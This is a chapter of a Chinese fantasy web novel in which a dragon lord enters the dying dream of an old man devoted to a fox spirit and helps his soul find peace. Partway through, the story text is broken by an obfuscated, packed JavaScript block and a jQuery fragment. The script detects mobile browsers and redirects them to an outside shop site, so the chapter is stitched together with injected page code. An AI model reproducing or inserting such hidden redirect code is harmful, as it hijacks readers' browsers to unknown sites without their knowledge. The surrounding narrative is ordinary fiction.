48. 三千九百七十二级台阶

作品:《我才不吃回头草

    云京市人民医院。


    “滴滴,滴滴。”


    寂静的手术室中只有心跳监护仪的声音,和手上忙忙碌碌的医生护士们。


    一个清瘦的老头正躺在手术台上,气息微弱。


    “爸爸也真是的,放着好好的家不在,偏要自己住那个又小又偏的平房。”


    深夜的急诊科依旧人来人往,在等候室外的女人声声啜泣:“要不是我半夜心慌去看他,他就……”


    “说什么也不能再让他住那里了!”


    “老天保佑,一定要顺利下手术。”


    一旁的男子声音疲惫而沉痛:“别人都是养儿防老,他倒好,半点不给我们操心的机会。”


    在没人注意的角落,洮箐和胡叶子渐渐显露身形。


    “元初伯伯……”


    感受到老人愈发微弱的生命,胡叶子不由得喃喃道。


    狐狸奶奶身上最后一缕微弱的念力上,附着了十分熟悉的气息。


    洮箐轻易就认出那念力来自当初拦住她上翁水山、又在山脚养了许多鸡的老头。


    老者名叫敬元初,是翁水山的最后一个人族。


    也是狐狸奶奶身上最后一抹念力的主人。


    不论春秋寒暑,这个独来独往的老人总是把从狐狸宝塔到山脚的路打扫得干干静静,不留一丝尘土和落叶。


    他每日都为宝塔旁的小柴房打上清水,在宝塔的供台放上鸡蛋。


    每逢月初,还要把家里最肥最嫩的鸡宰杀烹饪,燃起清香,供上案台。


    几十年来,从未间断。


    甚至胡叶子和弟弟看的故事书、玩的人族玩具,都是敬元初“上供”的。


    前夜,陆知瑜现身翁水山,为抢夺力量大肆出手。


    或许是看到宝塔上有所异动,从来不会夜间出门的敬元初一反常态,匆忙上山。却在途中被打斗波及,从半山腰一路摔到了山脚。


    头上的伤口十分骇人。


    而胡叶子修炼不过十几年,本领有限。


    只能用法术吊住敬元初的性命,又匆匆入了他女儿的梦中,让她赶快把老人送到医院。


    只是敬元初上了年纪,损伤太过。


    上了手术台,便是九死一生。


    “龙君,元初伯伯快不行了,我该怎么做?”


    胡叶子问道。


    “追魂。”


    洮箐当机立断,“只要保住他的魂魄,肉身上的伤不是问题。”


    手术台上的老人生命体征犹在,魂魄却已悄然离体。


    正一步步往外走去。


    他没有意识到自己正处于生与死之间。


    每走一步,魂魄就黯淡一分。


    洮箐疾步而去,试图将敬元初的魂魄抓回。


    却不曾想在触碰到对方神魂的一瞬间,就被吸入梦中——


    人族在生命的最后,总会在梦里把一生再过一遍。


    而敬元初的梦,是阴郁的青黑色。


    寂静的黄昏里满是树木和泥土的味道,寥落的野草疯长。


    七八岁的男孩背着背篓,在暗影重重的山林间狂奔。


    男孩脚上的草鞋早就已经不知道散落在何处,脚上腿上满是伤痕,却不敢停下脚步。


    粘稠的空气中除了他剧烈的呼吸声,便只剩阴恻恻的轻笑声——


    “小郎君,你说,我像人吗?”


    丛林深处亮起绿油油的眼睛,不管男孩跑得再快,都始终不紧不慢地跟在他身后问道:“像吗?”


    那几乎是贴着人肌肤的问话带着森冷的气息。


    树影重重间,有什么东西的影子悄然变大。


    仿佛只要男孩说出口的话不是它想要的,就即刻展露出血腥的姿态。


    男孩恐惧到不敢回头,更不敢瞥向身侧扭曲的影子。


    只含着泪小声呼唤道:“老牛,你在哪?”


    外出放牛的男孩从来都小心谨慎。


    却不曾想黄昏时分,一场突如其来的昏昏欲睡让他彻底寻不见了牛的踪影。


    在那分外艰苦的年代,一头牛,就几乎是一家人的命根子。


    对于寄人篱下的男孩来说,弄丢了自己或许不打紧,可丢了牛……


    却是比把他千刀万剐还要来得不可接受。


    洮箐这个误入的来客不远不近地缀男孩身后。


    她无法影响梦中的一切,却很好奇,子孙几乎被人族赶尽杀绝的狐狸奶奶杀了那么多人,为什么独独放过了敬元初?


    这或许,是救回两人的关键。


    夜色越发浓厚。


    男孩在伸手不见五指的林间数次摔倒,甚至几次踩空,在乱石堆中滚得狼狈。


    而鬼魅如影随形,不肯放过他分毫。


    “小郎君,我不过要一句我像人还是不像,就如此让你为难吗?!”


    想走捷径讨封变成人形的精怪终于失去了耐心,露出锋利的獠牙:“你若再不说一声像,就到我肚子里和你的老牛团聚吧!”


    “等等!”


    恐惧之下,男孩跌坐在地,蒙住眼睛嘶吼着开口:“如果你从今以后只做好事,那你就像人!”


    变大的暗影慢慢在空中一顿,不情不愿地收回:“嘿,你这小子……真滑头……”


    语气中颇有些错失美味的遗憾。


    待到瑟缩的男孩终于再度鼓起勇气睁开眼时,只有空中的一轮弯月还陪他留在原地。


    男孩久久地望着月亮,最后像是下定了某种决心,一步步追着月亮而去。


    最后一步,停在高高的悬崖边。


    他在崖边坐下,任由冷风灌进单薄的衣裳中,把五脏六腑凉了又凉。


    平日里被动辄打骂的男孩胳膊几乎已经细到一只手指就能戳断,仿徨而茫然,不知道这样的坏事为什么会落到自己头上。


    死了就好了吧?


    死掉的话……就不会有人怪自己了吧?


    伴随着这样的念头,男孩往下一跃,如同跌出巢穴的雏鸟,张开双臂,无声地迎接自己的夭折。


    只是如刀般尖锐的夜风好像在最后一刻变得温暖而柔软,就像他从未得到过的,被温柔环绕的拥抱。


    后来,在蒲团上伴随着香烛气味醒来的男孩,第一眼看到的,只有渺渺青烟背后,温柔而绮丽的神像。


    “敬元初,自裁性命,你可知罪?”


    尽管敛目微笑的神像已经破旧,却依稀可见,灵光氤氲中眉目袅袅的女仙。


    “不过,你用讨封让黄鼠狼精改邪归正,同样有功。”


    仙子从神像上飘忽而下,在男孩脑袋上轻轻敲了敲:“就罚你在翁水山做一日洒扫童子吧,报酬是……五头牛。”


    后来的故事和洮箐想的如出一辙,男孩被狐狸娘娘所救,成为了最虔诚的信徒。


    可有些东西又是洮箐不曾猜测到的——


    人的感情总是复杂无比。


    见过光亮,便不顾一切地想要追寻。


    敬家出了个迷信鬼神的疯子,天天上山,被狐仙勾走了魂。


    那是方圆几十里的村子都知道的笑话。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678981|135218||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我当初救你,不是想要你如此回报。”


    残破的神像将长成青年的男孩拒之门外:“人族寿数如此短暂,金榜题名,婚丧嫁娶……你该过好这一生。”


    青年却说:“翁水山上三千九百七十二级台阶,足够我扫上一生。”


    敬元初没有说假话。


    这个人族一生都在追寻超脱于他生命之外的东西。


    即使乘着时代的机遇大浪淘金,赚到了不少身家,他也一生未娶。


    只是尽自己所能,收养了许多和他一样失去双亲的孩子。


    人世间的一切在他身边来来去去,他心中却始终只有那个破落的狐狸庙。


    只有那双曾在某个瞬间,拂过他发梢的手。


    和几乎轻到不可闻的,低声叹息。


    我为了守护你而存在。


    这句话听起来是如此地浪漫。


    在梦中的洮箐此刻才清楚地意识到,当人渴望和超出自己生命的存在有所羁绊时,那耗尽一生的等待和守候,会是件多么残忍的事。


    洮箐抬手洒下云雾,将自己幻化成狐狸奶奶曾经的样子。


    在十多年前翁水山还没有突遭变故之时,狐狸奶奶身为护佑一方的大妖怪,即便已经活了很久,也依旧温润美丽,看上去不过二十几岁的模样。


    可一朝儿孙被屠戮殆尽,道心破碎,残破的身躯便无法再复原。


    “敬元初。”


    在云雾的笼罩中,洮箐呼唤着一直没有停下脚步的老者:“你要去哪里?”


    脚步颤颤巍巍的老人面上尽是茫然:“娘娘……您罚的台阶,我还没有扫……”


    敬元初神情嗫嚅,转眼间,又从耆老变成七八岁的孩童。


    仿佛一生不过是一瞬,而他生命的起点,是翁水山一眼望不到头的青石阶梯。


    “不扫了。”


    洮箐上前,牵住男孩的手:“回去吧,回你的家。”


    “翁水山就是我的家。”


    男孩却抬头,一瞬不瞬地望着她:“您不要我了吗?”


    “怎么会。”


    洮箐低头笑笑:“只是如果你一直朝着这条路走下去,可能会死。”


    “世间万物都有自己要走的路。”


    “只要能去到您的身边,我不怕的。”男孩一字一句地说。


    “那其他人呢?”洮箐问道。


    “你收养的孩子,养的鸡,原来赚的财产。那么多东西,都不要了吗?”


    “您说让我去过完整的一生。”


    “我父母早逝,上无牵挂。如今身边的老友们含饴弄孙,收养的孩子又个个争气,下无羁绊。”


    “我这一生,已经过得很好。”


    “唯一挂念的,只有一件事。”男孩的口吻无比老成。


    “什么事?”洮箐蹲下身,平视着男孩。


    “狐狸塔第三层的立柱被虫驻得厉害,该补补了。”


    “只是我怕自己找不到路,您能带我去吗?”


    洮箐默然良久,最后在男孩充满希冀的注视下叹息:“当然。”


    明明说是让她带路,走在她前面的男孩却脚步轻快。


    时而逗弄路边的蜻蜓,时而折下路边的草叶,绑成两个跳来跳去的蚂蚱。


    男孩把蚂蚱放在她手上,甚至串起草绳,为她编了个弯弯曲曲的手链。


    洮箐始终缀在男孩身后。


    穿云踏雾间,男孩的身影渐渐透明,渐渐坍缩。


    可满心满意的笑容,却未曾减淡分毫。